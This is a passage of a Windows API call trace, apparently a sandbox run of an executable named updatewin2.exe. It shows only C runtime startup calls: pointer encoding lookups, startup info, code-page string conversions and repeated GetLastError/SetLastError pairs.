0x76c20000 [0050.413] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.413] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.413] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.413] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.413] GetCurrentThreadId () returned 0xb18 [0050.413] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.413] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x800) returned 0x2d09f0 [0050.413] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0050.413] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0050.413] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0050.413] SetHandleCount (uNumber=0x20) returned 0x20 [0050.413] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe\" " [0050.413] GetEnvironmentStringsW () returned 0x5b4e70* [0050.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0050.414] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x565) returned 0x2d11f8 [0050.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2d11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0050.414] FreeEnvironmentStringsW (penv=0x5b4e70) returned 1 [0050.414] GetLastError () returned 0x0 [0050.414] SetLastError (dwErrCode=0x0) [0050.414] GetLastError () returned 0x0 [0050.414] SetLastError (dwErrCode=0x0) [0050.414] GetLastError () returned 0x0 [0050.414] SetLastError (dwErrCode=0x0) [0050.414] GetACP () returned 0x4e4 [0050.414] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x220) returned 0x2d1768 [0050.414] GetLastError () returned 0x0 [0050.414] SetLastError (dwErrCode=0x0) [0050.414] IsValidCodePage (CodePage=0x4e4) returned 1 [0050.414] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0050.414] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0050.414] GetLastError () returned 0x0 [0050.414] SetLastError (dwErrCode=0x0) [0050.414] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0050.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.414] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0050.414] GetLastError () returned 0x0 [0050.414] SetLastError (dwErrCode=0x0) [0050.414] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0050.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ蜨厈㞅AĀ") returned 256 [0050.415] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ蜨厈㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.415] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ蜨厈㞅AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x30\x15\xea\x53\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.415] GetLastError () returned 0x0 [0050.415] SetLastError (dwErrCode=0x0) [0050.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ蜨厈㞅AĀ") returned 256 [0050.415] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ蜨厈㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.415] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ蜨厈㞅AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0050.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x30\x15\xea\x53\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.415] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43acc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe")) returned 0x5f [0050.415] GetLastError () returned 0x0 [0050.415] SetLastError (dwErrCode=0x0) [0050.415] GetLastError () returned 0x0 [0050.415] SetLastError (dwErrCode=0x0) [0050.415] GetLastError () returned 0x0 [0050.415] SetLastError (dwErrCode=0x0) [0050.415] GetLastError () returned 0x0 [0050.415] SetLastError (dwErrCode=0x0) [0050.415] GetLastError () returned 0x0 [0050.415] SetLastError (dwErrCode=0x0) [0050.415] GetLastError () returned 0x0 [0050.415] SetLastError (dwErrCode=0x0) [0050.415] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.416] SetLastError (dwErrCode=0x0) [0050.416] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.417] GetLastError () returned 0x0 [0050.417] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.418] SetLastError (dwErrCode=0x0) [0050.418] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] 